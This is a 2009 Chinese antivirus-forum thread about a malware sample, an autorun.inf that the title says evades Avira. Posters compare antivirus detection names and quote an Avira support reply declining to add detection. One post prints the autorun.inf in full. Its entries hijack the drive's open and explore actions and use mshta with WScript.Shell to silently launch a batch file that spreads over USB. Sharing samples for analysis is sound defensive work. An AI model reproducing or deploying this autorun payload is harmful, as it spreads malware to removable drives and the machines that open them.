autorun x1过avira

显示全部楼层 · 发表于 2009-3-6 21:49:16

记得加密..

显示全部楼层 · 发表于 2009-3-6 22:08:00

忘了
下次再加吧

显示全部楼层 · 发表于 2009-3-6 22:17:50

DR.WEB
\Autorun.inf - infected with Win32.HLLW.Autoruner.2025

显示全部楼层 · 发表于 2009-3-6 23:33:50

Name: BAT.Sola.A
Type: Mutant

Description:

Files:
c:\users\administrator\desktop\autorun.inf

显示全部楼层 · 发表于 2009-3-6 23:40:54

Thank you for your email.

But we won't add this file to our detection.
Anyway, thank you for your assistance.

--
Freundliche Gruesse / Kind regards
Avira GmbH

Andreas Pohl
First Level Support

显示全部楼层 · 发表于 2009-3-7 01:24:23

C:\Documents and Settings\GUNDAM\桌面\Autorun.rar » RAR » Autorun.inf - BAT/Autorun.NAF virus

显示全部楼层 · 发表于 2009-3-7 02:43:15

PARETO anti virus kill

显示全部楼层 · 发表于 2009-3-7 02:45:00

Autorun.rar > RAR > Autorun.inf - BAT/Autorun.NAF 病毒

显示全部楼层 · 发表于 2009-3-7 02:46:10

原帖由 Kitman 于 2009-3-6 23:40 发表
Thank you for your email.

But we won't add this file to our detection.
Anyway, thank you for your assistance.

--
Freundliche Gruesse / Kind regards
Avira GmbH

Andreas Pohl
First Level Sup ...

[:27:] 这么明确的回复不入库

显示全部楼层 · 发表于 2009-3-7 07:01:18

autorun.inf
這檔案其實沒有入庫的必要
我裡面可以千變萬化連執行檔名都相同
但只要有一個字不同
那分析出來結果當然不同
這東西我都不上報的

不過第一次看到這麼奇特的內容
樓主可否將母體提供給小弟研究呢謝謝

SOLA_1.0
[autorun]
shell\湖羲(&O)\command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell=湖羲(&O)
shell\open=葩秶棠攫(&C)
shell\open\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell\open\Default=1
shell\explore=訧埭奪燴(&X)
shell\explore\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"

[病毒样本] autorun x1过avira

回复 10楼 Elcondorposa 的帖子